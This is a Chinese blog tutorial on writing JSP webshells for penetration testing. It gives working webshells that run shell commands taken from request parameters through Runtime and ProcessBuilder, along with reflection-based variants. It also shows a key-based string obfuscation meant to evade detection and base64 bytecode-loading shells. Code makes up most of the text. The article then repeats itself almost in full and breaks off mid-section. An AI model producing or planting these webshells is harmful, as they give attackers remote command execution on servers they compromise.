补基础系列-JavaJspWebShell基础写法
Ebounce
撰写于 2022年 08月 03 日

补基础系列-JavaJspWebShell基础写法

前言

自己大部分渗透过程中所用的Jsp马或者直接使用冰蝎,但是在实际场景中,我们有时候仍然需要上传JSP马作为webshell使用,因此为了不再每一次都百度,这次我们来学习一下JSP马儿的基础写法。
<!--more-->

环境搭建

环境搭建其实只是很普通的搭建一个tomcat环境即可,我们目的只是为了测试JSP是否能够正常运行,这里简单记录一下环境搭建。

  1. 下载tomcat,这里选择的是7.0.82版本:
    Tomcat下载地址

2.下好之后随意解压一个路径,记得在哪就行,然后在idea里面创建项目,可以参考一下我的创建选项:
20220728152253
后面狂按下一步,等着加载完Servlet插件就行。

命令执行部分

命令执行部分其实讲的就太多了,但这里还是再复习一下,JSP中的命令执行和我们常说的Java反射命令执行基本上是一回事,用的类也是差不多的,还是来认识一下这个熟面孔:

java.lang.Runtime
->用法
java.lang.Runtime.getRuntime().exec([command])

例程其实也非常简单:

public class test {
    public static void main(String[] args) throws IOException {
        InputStreamReader isr = new InputStreamReader(Runtime.getRuntime().exec(new String[]{"ls"}).getInputStream());
        BufferedReader b = new BufferedReader(isr);
        while (b.readLine()!=null){
            System.out.println(b.readLine());
        }
    }
}

输出结果:
20220728151608

这里读取结果的方式可以随意,使用InputSteam挨个字节读,然后转字符串也是可以的。

由于JSP中可以不使用反射进行操作,因此ProcessBuilder类也可以用来执行命令,例程如下:

import java.io.*;

public class test {
    public static void main(String[] args) throws IOException {
        InputStreamReader isr = new InputStreamReader(new ProcessBuilder("ls").start().getInputStream());
        BufferedReader b = new BufferedReader(isr);
        while (b.readLine()!=null){
            System.out.println(b.readLine());
        }
    }
}

20220801115016

了解JSP语法

JSP语法其实非常简单,有过写模版语法的小伙伴很快就能上手,简单来说,我们需要将Java语句使用<%JavaCode%>进行包裹。
同样给出一个简单例程:

<%@ page contentType="text/html;charset=UTF-8" language="java" %> // 这段代码是为了显示中文
<% out.println("你好啊"); %>

20220728153407

我们可以将命令执行的代码搬到jsp中,如下面例程:

<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    java.io.InputStream i = Runtime.getRuntime().exec("ls").getInputStream();
    byte[] b = new byte[i.available()];
    i.read(b);
    String s = new String(b);
    out.println(s);
%>

20220728160515

还有一些其他标签可以参照w3cshcool

一般webshell写法

Runtime写法

既然是小马,自然我们需要通过url或者post的传值来进行命令执行了,因此下面我们会给出JSP中取Request值的例程。

<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    InputStream i = Runtime.getRuntime().exec(request.getParameter("hello")).getInputStream();
    byte[] b = new byte[i.available()];
    i.read(b);
    out.println(request.getParameter("hello"));
    out.println(new String(b));
%>

20220728164001

但是这个小马会在第二次输入命令执行后无回显:
20220728164118

经过这里JSP是能够正常获得值的,通过debug发现使用available方法时,第二次的时候b数组无法创建正常大小,是一个没有长度的空数组,因此解决方法是为b数组制定一个大小,我们开到2048,即可解决这个问题。

<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    InputStream i = Runtime.getRuntime().exec(request.getParameter("hello")).getInputStream();
    byte[] b = new byte[2048];
    i.read(b);
    out.println(new String(b));
%>

ProcessBuilder写法

ProcessBuilder只是换一个类而已,整体基本不变:

<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    InputStream i = new ProcessBuilder(request.getParameter("pb")).start().getInputStream();
    byte[] b = new byte[2048];
    i.read(b);
    out.println(new String(b));
%>

20220801120239

非常规写法

直接利用反射的webshell

在编写java反射时,我们需要逆序进行编写,比如这里我们最后是为了调用exec方法,因此exec方法放在前面,通过invoke传入exec需要的参数,invoke方法需求两个参数第一个参数为调用类,第二个以及往后的参数为传入方法的值。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Class c = Class.forName("java.lang.Runtime");
    Process p = (Process)c.getMethod("exec", String.class).invoke(c.getMethod("getRuntime").invoke(null),new String[]{"ls"});
    byte[] b = new byte[2048];
    p.getInputStream().read(b);
    out.println(new String(b));
%>

20220801153706

只需要将制定的String参数换成request传入即可:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Class c = Class.forName("java.lang.Runtime");
    Process p = (Process)c.getMethod("exec", String.class).invoke(c.getMethod("getRuntime").invoke(null),request.getParameter("cmd"));
    byte[] b = new byte[2048];
    p.getInputStream().read(b);
    out.println(new String(b));
%>

20220801154036

同理ProcessBuilder也可以利用反射构造,但是情况比Runtime的构造要麻烦一点,拆开来构造如下:


<%@ page import="java.util.Arrays" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Class c = Class.forName("java.lang.ProcessBuilder");
    Constructor cc = c.getConstructor(List.class);
    List<String> s = Arrays.asList(new String[]{"ls"});
    ProcessBuilder pb = (ProcessBuilder) cc.newInstance(s);
    byte[] b = new byte[2048];
    Process p = (Process) c.getMethod("start").invoke(pb,null);
    p.getInputStream().read(b);
    out.println(new String(b));
%>

20220801162250

你可能会好奇,为什么这里使用List\<String\>,主要原因在于ProcessBuild该函数有两个构造函数,如下:

20220801162432

一种为List\<String\>传参,一种为可变参数String,可变参数在实际运行中,表现为String数组,但是该数组没有被指定长度,当我们使用newInstance方法,调用String[]的构造函数时,会出现下面这种情况:
20220801162801

传参调用该构造方法:
20220801162901

会抛出异常,因此我们选择另一个构造方法传入List,将上面多行的JSP代码整理为一行如下:

<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Class c = Class.forName("java.lang.ProcessBuilder");
    Process p = (Process) c.getMethod("start").invoke(c.getConstructor(List.class).newInstance(Arrays.asList(new String[]{request.getParameter("i")})),null);
    byte[] b = new byte[2048];
    p.getInputStream().read(b);
    out.println(new String(b));
%>

20220801163717

由于反射能将类名和参数名分开传入,因此我们可以对参数名和参数进行简单加密,如下我们定义一个函数,进行移位变换:

加密函数:

class Encoder{
    String k;
    String t;
    public String encode(){
        byte[] b1 = this.k.getBytes(StandardCharsets.UTF_8);
        byte[] b2 = this.t.getBytes(StandardCharsets.UTF_8);
        int g = b2.length/b1.length;
        if (g == 0) {
            for (int j = 0; j < b2.length - 1; j++) {
                b2[j] = (byte) (b2[j] + 103 - b1[j]);
            }
        }
        for (int i=0;i<=g;i++){
            int left = b2.length - i * b1.length;
            for (int j = 0; j < b1.length - 1; j++) {
                if (left == j){
                    break;
                }
                b2[i*b1.length+j] = (byte) (b2[i* b1.length+j] + 103 - b1[j]);
            }
        }
        return new String(b2);
    }
}

解密函数,由于密钥只有攻击者拥有,因此可以一定程度上规避检测:


<%!
    public String decode(String key,String text){
        byte[] b1 = key.getBytes(StandardCharsets.UTF_8);
        byte[] b2 = text.getBytes(StandardCharsets.UTF_8);
        int g = b2.length/b1.length;
        if (g == 0) {
            for (int j = 0; j < b2.length - 1; j++) {
                b2[j] = (byte) (b2[j] - 105 + b1[j]);
            }
        }
        for (int i=0;i<=g;i++){
            int left = b2.length - i * b1.length;
            for (int j = 0; j < b1.length - 1; j++) {
                if (left == j){
                    break;
                }
                b2[i*b1.length+j] = (byte) (b2[i* b1.length+j] - 105 + b1[j]);
            }
        }
        return new String(b2);
    }
%>

将webshell改写成接受加密流量的内容:

<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public String decode(String key,String text){
        byte[] b1 = key.getBytes(StandardCharsets.UTF_8);
        byte[] b2 = text.getBytes(StandardCharsets.UTF_8);
        int g = b2.length/b1.length;
        if (g == 0) {
            for (int j = 0; j < b2.length - 1; j++) {
                b2[j] = (byte) (b2[j] - 103 + b1[j]);
            }
        }
        for (int i=0;i<=g;i++){
            int left = b2.length - i * b1.length;
            for (int j = 0; j < b1.length - 1; j++) {
                if (left == j){
                    break;
                }
                b2[i*b1.length+j] = (byte) (b2[i* b1.length+j] - 103 + b1[j]);
            }
        }
        return new String(b2);
    }
%>

<%
    String k = request.getParameter("key");
    Class c = Class.forName(decode(k,"lfnS'papl&Bkscgxk4nmlfjj"));
    Process p = (Process) c.getMethod(decode(k,"w~QVm")).invoke(c.getConstructor(List.class).newInstance(Arrays.asList(new String[]{request.getParameter("i")})),null);
    byte[] b = new byte[2048];
    p.getInputStream().read(b);
    out.println(new String(b));
%>

20220801180534

字节码加载webshell

除了使用反射直接调用执行webshell外,还可以使用加载字节码的形式,调用webshell,我们知道Java中能够运行代码,实际上是将代码转换成字节码形式,将字节码加载进入JVM中就可以运行代码了。

因此如果我们想在webshell中加载字节码,那么我们需要编写一个字节码加载器,同时我们编写一个恶意类进行测试。

使用构造函数进行固定命令执行并回显

public class C{
    public byte[] b = new byte[2048];
    public C() throws IOException {
        Process p = Runtime.getRuntime().exec("ls");
        p.getInputStream().read(this.b);
    }
}

PS:这里注意所有你需要通过反射访问的属性和方法(包括构造方法),都需要设置成为public,否则在反射执行中无法访问。

然后使用Javac命令编译成class

javac C.java

这里使用Javaassist包转成字节码:

// 可以直接命令 cat x.class | base64

import java.io.FileInputStream;
import java.io.IOException;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import sun.misc.BASE64Encoder;

public class L {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
        FileInputStream fi = new FileInputStream("./C.class");
        CtClass cc = ClassPool.getDefault().makeClass(fi);
        byte[] bytecode = cc.toBytecode();
        BASE64Encoder encoder = new BASE64Encoder();
        System.out.println(encoder.encode(bytecode));
    }
}

/*
yv66vgAAADQALAoACQAUCQAIABUKABYAFwgAGAoAFgAZCgAaABsKABwAHQcAHgcAHwEAAWIBAAJbQgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAgAQAKU291cmNlRmlsZQEABkMuamF2YQwADAANDAAKAAsHACEMACIAIwEAAmxzDAAkACUHACYMACcAKAcAKQwAKgArAQABQwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAARyZWFkAQAFKFtCKUkAIQAIAAkAAAABAAEACgALAAAAAQABAAwADQACAA4AAABLAAIAAgAAACMqtwABKhEIALwItQACuAADEgS2AAVMK7YABiq0AAK2AAdXsQAAAAEADwAAABYABQAAAAUABAAEAA0ABgAWAAcAIgAIABAAAAAEAAEAEQABABIAAAACABM%3d
*/

接着编写一个JSP的字节码加载器:


<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>

<%
    Class c = Class.forName("java.lang.ClassLoader");
    Method m = c.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
    m.setAccessible(true);
    BASE64Decoder bd = new BASE64Decoder();
    byte[] b = bd.decodeBuffer(request.getParameter("bs"));
    Class c1 = (Class) m.invoke(ClassLoader.getSystemClassLoader(),"C",b,0,b.length);
    byte[] b2 = (byte[]) c1.newInstance().getClass().getField("b").get(c1.newInstance());
    out.print(new String(b2));
%>

解释一下这一行:
byte[] b2 = (byte[]) c1.newInstance().getClass().getField("b").get(c1.newInstance());

newInstance方法直接对类使用,会调用无参构造函数(public)并返回该对象,但是由于C类,并没有导入Tomcat应用中,因此这里我们无法直接写C c = c1.newInstance(),这个问题我们同样通过反射解决,使用xx.getClass方法来获得该类,然后利用反射获得对应的属性对象,这时候由于get(取得Field对象的值)方法需要传入已实例化的对象,因此这里我们再传入一个c1.newInstance()即可,结果为:
20220803165717

我们这里只是执行固定命令并回显,如果每执行一个命令都需要重新生成一个.class实在是太麻烦了,下面使用两种方法达到webshell的目的。

有参构造函数Webshell

这个时候需要更改我们的恶意类了:

import java.io.IOException;

public class C{
    public byte[] b = new byte[2048];
    public C(){}
    //保留无参构造方法,为了newInstance能够获取C类
    public C(String cmd) throws IOException {
        Process p = Runtime.getRuntime().exec(cmd);
        p.getInputStream().read(this.b);
    }
}

添加了传参,同理生成base64:

yv66vgAAADQAKwoACAAUCQAHABUKABYAFwoAFgAYCgAZABoKABsAHAcAHQcAHgEAAWIBAAJbQgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAApFeGNlcHRpb25zBwAfAQAKU291cmNlRmlsZQEABkMuamF2YQwACwAMDAAJAAoHACAMACEAIgwAIwAkBwAlDAAmACcHACgMACkAKgEAAUMBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAEcmVhZAEABShbQilJACEABwAIAAAAAQABAAkACgAAAAIAAQALAAwAAQANAAAALgACAAEAAAAOKrcAASoRCAC8CLUAArEAAAABAA4AAAAOAAMAAAAFAAQABAANAAUAAQALAA8AAgANAAAASgACAAMAAAAiKrcAASoRCAC8CLUAArgAAyu2AARNLLYABSq0AAK2AAZXsQAAAAEADgAAABYABQAAAAYABAAEAA0ABwAVAAgAIQAJABAAAAAEAAEAEQABABIAAAACABM%3d

稍微更改一下我们的JSP加载器:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>

<%
    Class c = Class.forName("java.lang.ClassLoader");
    Method m = c.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
    m.setAccessible(true);
    BASE64Decoder bd = new BASE64Decoder();
    byte[] b = bd.decodeBuffer(request.getParameter("bs"));
    Class c1 = (Class) m.invoke(ClassLoader.getSystemClassLoader(),"C",b,0,b.length);
    byte[] b2 = (byte[]) c1.newInstance().getClass().getField("b").get(c1.newInstance().getClass().getConstructor(String.class).newInstance(request.getParameter("cmd")));
    out.print(new String(b2));
%>

20220803171419

调用恶意类方法

恶意类添加exec方法。

import java.io.IOException;

public class C{
    public String s;
    public C(){}
    public String exec(String cmd) throws IOException {
        byte[] b = new byte[2048];
        Runtime.getRuntime().exec(cmd).getInputStream().read(b);
        return new String(b);
    }
}

base64编码:

yv66vgAAADQALgoACQAWCgAXABgKABcAGQoAGgAbCgAcAB0HAB4KAAYAHwcAIAcAIQEAAXMBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwcAIgEAClNvdXJjZUZpbGUBAAZDLmphdmEMAAwADQcAIwwAJAAlDAAQACYHACcMACgAKQcAKgwAKwAsAQAQamF2YS9sYW5nL1N0cmluZwwADAAtAQABQwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQATamF2YS9pby9JbnB1dFN0cmVhbQEABHJlYWQBAAUoW0IpSQEABShbQilWACEACAAJAAAAAQABAAoACwAAAAIAAQAMAA0AAQAOAAAAHQABAAEAAAAFKrcAAbEAAAABAA8AAAAGAAEAAAAFAAEAEAARAAIADgAAAD4AAwADAAAAHhEIALwITbgAAiu2AAO2AAQstgAFV7sABlkstwAHsAAAAAEADwAAAA4AAwAAAAcABgAIABUACQASAAAABAABABMAAQAUAAAAAgAV

更改字节码加载器:


<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>

<%
    Class c = Class.forName("java.lang.ClassLoader");
    Method m = c.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
    m.setAccessible(true);
    BASE64Decoder bd = new BASE64Decoder();
    byte[] b = bd.decodeBuffer(request.getParameter("bs"));
    Class c1 = (Class) m.invoke(ClassLoader.getSystemClassLoader(),"C",b,0,b.length);
    Method exec = c1.newInstance().getClass().getMethod("exec",String.class);
    out.print((String) exec.invoke(c1.newInstance(),request.getParameter("g")));
%>

20220803172308

参考文章

Java安全-Java动态加载字节码
JSP Webshell那些事 -- 攻击篇(上)
Javaassist简介
java基础_创建对象的五种方式

补基础系列-JavaJspWebShell基础写法

补基础系列-JavaJspWebShell基础写法

前言

自己大部分渗透过程中所用的Jsp马或者直接使用冰蝎,但是在实际场景中,我们有时候仍然需要上传JSP马作为webshell使用,因此为了不再每一次都百度,这次我们来学习一下JSP马儿的基础写法。
<!--more-->

环境搭建

环境搭建其实只是很普通的搭建一个tomcat环境即可,我们目的只是为了测试JSP是否能够正常运行,这里简单记录一下环境搭建。

  1. 下载tomcat,这里选择的是7.0.82版本:
    Tomcat下载地址

2.下好之后随意解压一个路径,记得在哪就行,然后在idea里面创建项目,可以参考一下我的创建选项:
20220728152253
后面狂按下一步,等着加载完Servlet插件就行。

命令执行部分

命令执行部分其实讲的就太多了,但这里还是再复习一下,JSP中的命令执行和我们常说的Java反射命令执行基本上是一回事,用的类也是差不多的,还是来认识一下这个熟面孔:

java.lang.Runtime
->用法
java.lang.Runtime.getRuntime().exec([command])

例程其实也非常简单:

public class test {
    public static void main(String[] args) throws IOException {
        InputStreamReader isr = new InputStreamReader(Runtime.getRuntime().exec(new String[]{"ls"}).getInputStream());
        BufferedReader b = new BufferedReader(isr);
        while (b.readLine()!=null){
            System.out.println(b.readLine());
        }
    }
}

输出结果:
20220728151608

这里读取结果的方式可以随意,使用InputSteam挨个字节读,然后转字符串也是可以的。

由于JSP中可以不使用反射进行操作,因此ProcessBuilder类也可以用来执行命令,例程如下:

import java.io.*;

public class test {
    public static void main(String[] args) throws IOException {
        InputStreamReader isr = new InputStreamReader(new ProcessBuilder("ls").start().getInputStream());
        BufferedReader b = new BufferedReader(isr);
        while (b.readLine()!=null){
            System.out.println(b.readLine());
        }
    }
}

20220801115016

了解JSP语法

JSP语法其实非常简单,有过写模版语法的小伙伴很快就能上手,简单来说,我们需要将Java语句使用<%JavaCode%>进行包裹。
同样给出一个简单例程:

<%@ page contentType="text/html;charset=UTF-8" language="java" %> // 这段代码是为了显示中文
<% out.println("你好啊"); %>

20220728153407

我们可以将命令执行的代码搬到jsp中,如下面例程:

<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    java.io.InputStream i = Runtime.getRuntime().exec("ls").getInputStream();
    byte[] b = new byte[i.available()];
    i.read(b);
    String s = new String(b);
    out.println(s);
%>

20220728160515

还有一些其他标签可以参照w3cshcool

一般webshell写法

Runtime写法

既然是小马,自然我们需要通过url或者post的传值来进行命令执行了,因此下面我们会给出JSP中取Request值的例程。

<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    InputStream i = Runtime.getRuntime().exec(request.getParameter("hello")).getInputStream();
    byte[] b = new byte[i.available()];
    i.read(b);
    out.println(request.getParameter("hello"));
    out.println(new String(b));
%>

20220728164001

但是这个小马会在第二次输入命令执行后无回显:
20220728164118

经过这里JSP是能够正常获得值的,通过debug发现使用available方法时,第二次的时候b数组无法创建正常大小,是一个没有长度的空数组,因此解决方法是为b数组制定一个大小,我们开到2048,即可解决这个问题。

<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    InputStream i = Runtime.getRuntime().exec(request.getParameter("hello")).getInputStream();
    byte[] b = new byte[2048];
    i.read(b);
    out.println(new String(b));
%>

ProcessBuilder写法

ProcessBuilder只是换一个类而已,整体基本不变:

<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    InputStream i = new ProcessBuilder(request.getParameter("pb")).start().getInputStream();
    byte[] b = new byte[2048];
    i.read(b);
    out.println(new String(b));
%>

20220801120239

非常规写法

直接利用反射的webshell

在编写java反射时,我们需要逆序进行编写,比如这里我们最后是为了调用exec方法,因此exec方法放在前面,通过invoke传入exec需要的参数,invoke方法需求两个参数第一个参数为调用类,第二个以及往后的参数为传入方法的值。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Class c = Class.forName("java.lang.Runtime");
    Process p = (Process)c.getMethod("exec", String.class).invoke(c.getMethod("getRuntime").invoke(null),new String[]{"ls"});
    byte[] b = new byte[2048];
    p.getInputStream().read(b);
    out.println(new String(b));
%>

20220801153706

只需要将制定的String参数换成request传入即可:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Class c = Class.forName("java.lang.Runtime");
    Process p = (Process)c.getMethod("exec", String.class).invoke(c.getMethod("getRuntime").invoke(null),request.getParameter("cmd"));
    byte[] b = new byte[2048];
    p.getInputStream().read(b);
    out.println(new String(b));
%>

20220801154036

同理ProcessBuilder也可以利用反射构造,但是情况比Runtime的构造要麻烦一点,拆开来构造如下:


<%@ page import="java.util.Arrays" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Class c = Class.forName("java.lang.ProcessBuilder");
    Constructor cc = c.getConstructor(List.class);
    List<String> s = Arrays.asList(new String[]{"ls"});
    ProcessBuilder pb = (ProcessBuilder) cc.newInstance(s);
    byte[] b = new byte[2048];
    Process p = (Process) c.getMethod("start").invoke(pb,null);
    p.getInputStream().read(b);
    out.println(new String(b));
%>

20220801162250

你可能会好奇,为什么这里使用List\<String\>,主要原因在于ProcessBuild该函数有两个构造函数,如下:

20220801162432

一种为List\<String\>传参,一种为可变参数String,可变参数在实际运行中,表现为String数组,但是该数组没有被指定长度,当我们使用newInstance方法,调用String[]的构造函数时,会出现下面这种情况:
20220801162801

传参调用该构造方法:
20220801162901

会抛出异常,因此我们选择另一个构造方法传入List,将上面多行的JSP代码整理为一行如下:

<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    Class c = Class.forName("java.lang.ProcessBuilder");
    Process p = (Process) c.getMethod("start").invoke(c.getConstructor(List.class).newInstance(Arrays.asList(new String[]{request.getParameter("i")})),null);
    byte[] b = new byte[2048];
    p.getInputStream().read(b);
    out.println(new String(b));
%>

20220801163717

由于反射能将类名和参数名分开传入,因此我们可以对参数名和参数进行简单加密,如下我们定义一个函数,进行移位变换:

加密函数:

class Encoder{
    String k;
    String t;
    public String encode(){
        byte[] b1 = this.k.getBytes(StandardCharsets.UTF_8);
        byte[] b2 = this.t.getBytes(StandardCharsets.UTF_8);
        int g = b2.length/b1.length;
        if (g == 0) {
            for (int j = 0; j < b2.length - 1; j++) {
                b2[j] = (byte) (b2[j] + 103 - b1[j]);
            }
        }
        for (int i=0;i<=g;i++){
            int left = b2.length - i * b1.length;
            for (int j = 0; j < b1.length - 1; j++) {
                if (left == j){
                    break;
                }
                b2[i*b1.length+j] = (byte) (b2[i* b1.length+j] + 103 - b1[j]);
            }
        }
        return new String(b2);
    }
}

解密函数,由于密钥只有攻击者拥有,因此可以一定程度上规避检测:


<%!
    public String decode(String key,String text){
        byte[] b1 = key.getBytes(StandardCharsets.UTF_8);
        byte[] b2 = text.getBytes(StandardCharsets.UTF_8);
        int g = b2.length/b1.length;
        if (g == 0) {
            for (int j = 0; j < b2.length - 1; j++) {
                b2[j] = (byte) (b2[j] - 105 + b1[j]);
            }
        }
        for (int i=0;i<=g;i++){
            int left = b2.length - i * b1.length;
            for (int j = 0; j < b1.length - 1; j++) {
                if (left == j){
                    break;
                }
                b2[i*b1.length+j] = (byte) (b2[i* b1.length+j] - 105 + b1[j]);
            }
        }
        return new String(b2);
    }
%>

将webshell改写成接受加密流量的内容:

<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    public String decode(String key,String text){
        byte[] b1 = key.getBytes(StandardCharsets.UTF_8);
        byte[] b2 = text.getBytes(StandardCharsets.UTF_8);
        int g = b2.length/b1.length;
        if (g == 0) {
            for (int j = 0; j < b2.length - 1; j++) {
                b2[j] = (byte) (b2[j] - 103 + b1[j]);
            }
        }
        for (int i=0;i<=g;i++){
            int left = b2.length - i * b1.length;
            for (int j = 0; j < b1.length - 1; j++) {
                if (left == j){
                    break;
                }
                b2[i*b1.length+j] = (byte) (b2[i* b1.length+j] - 103 + b1[j]);
            }
        }
        return new String(b2);
    }
%>

<%
    String k = request.getParameter("key");
    Class c = Class.forName(decode(k,"lfnS'papl&Bkscgxk4nmlfjj"));
    Process p = (Process) c.getMethod(decode(k,"w~QVm")).invoke(c.getConstructor(List.class).newInstance(Arrays.asList(new String[]{request.getParameter("i")})),null);
    byte[] b = new byte[2048];
    p.getInputStream().read(b);
    out.println(new String(b));
%>

20220801180534

字节码加载webshell

除了使用反射直接调用执行webshell外,还可以使用加载字节码的形式,调用webshell,我们知道Java中能够运行代码,实际上是将代码转换成字节码形式,将字节码加载进入JVM中就可以运行代码了。

因此如果我们想在webshell中加载字节码,那么我们需要编写一个字节码加载器,同时我们编写一个恶意类进行测试。

使用构造函数进行固定命令执行并回显

public class C{
    public byte[] b = new byte[2048];
    public C() throws IOException {
        Process p = Runtime.getRuntime().exec("ls");
        p.getInputStream().read(this.b);
    }
}

PS:这里注意所有你需要通过反射访问的属性和方法(包括构造方法),都需要设置成为public,否则在反射执行中无法访问。

然后使用Javac命令编译成class

javac C.java

这里使用Javaassist包转成字节码:

// 可以直接命令 cat x.class | base64

import java.io.FileInputStream;
import java.io.IOException;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import sun.misc.BASE64Encoder;

public class L {
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
        FileInputStream fi = new FileInputStream("./C.class");
        CtClass cc = ClassPool.getDefault().makeClass(fi);
        byte[] bytecode = cc.toBytecode();
        BASE64Encoder encoder = new BASE64Encoder();
        System.out.println(encoder.encode(bytecode));
    }
}

/*
yv66vgAAADQALAoACQAUCQAIABUKABYAFwgAGAoAFgAZCgAaABsKABwAHQcAHgcAHwEAAWIBAAJbQgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAgAQAKU291cmNlRmlsZQEABkMuamF2YQwADAANDAAKAAsHACEMACIAIwEAAmxzDAAkACUHACYMACcAKAcAKQwAKgArAQABQwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAARyZWFkAQAFKFtCKUkAIQAIAAkAAAABAAEACgALAAAAAQABAAwADQACAA4AAABLAAIAAgAAACMqtwABKhEIALwItQACuAADEgS2AAVMK7YABiq0AAK2AAdXsQAAAAEADwAAABYABQAAAAUABAAEAA0ABgAWAAcAIgAIABAAAAAEAAEAEQABABIAAAACABM%3d
*/

接着编写一个JSP的字节码加载器:


<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>

<%
    Class c = Class.forName("java.lang.ClassLoader");
    Method m = c.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
    m.setAccessible(true);
    BASE64Decoder bd = new BASE64Decoder();
    byte[] b = bd.decodeBuffer(request.getParameter("bs"));
    Class c1 = (Class) m.invoke(ClassLoader.getSystemClassLoader(),"C",b,0,b.length);
    byte[] b2 = (byte[]) c1.newInstance().getClass().getField("b").get(c1.newInstance());
    out.print(new String(b2));
%>

解释一下这一行:
byte[] b2 = (byte[]) c1.newInstance().getClass().getField("b").get(c1.newInstance());

newInstance方法直接对类使用,会调用无参构造函数(public)并返回该对象,但是由于C类,并没有导入Tomcat应用中,因此这里我们无法直接写C c = c1.newInstance(),这个问题我们同样通过反射解决,使用xx.getClass方法来获得该类,然后利用反射获得对应的属性对象,这时候由于get(取得Field对象的值)方法需要传入已实例化的对象,因此这里我们再传入一个c1.newInstance()即可,结果为:
20220803165717

我们这里只是执行固定命令并回显,如果每执行一个命令都需要重新生成一个.class实在是太麻烦了,下面使用两种方法达到webshell的目的。

有参构造函数Webshell

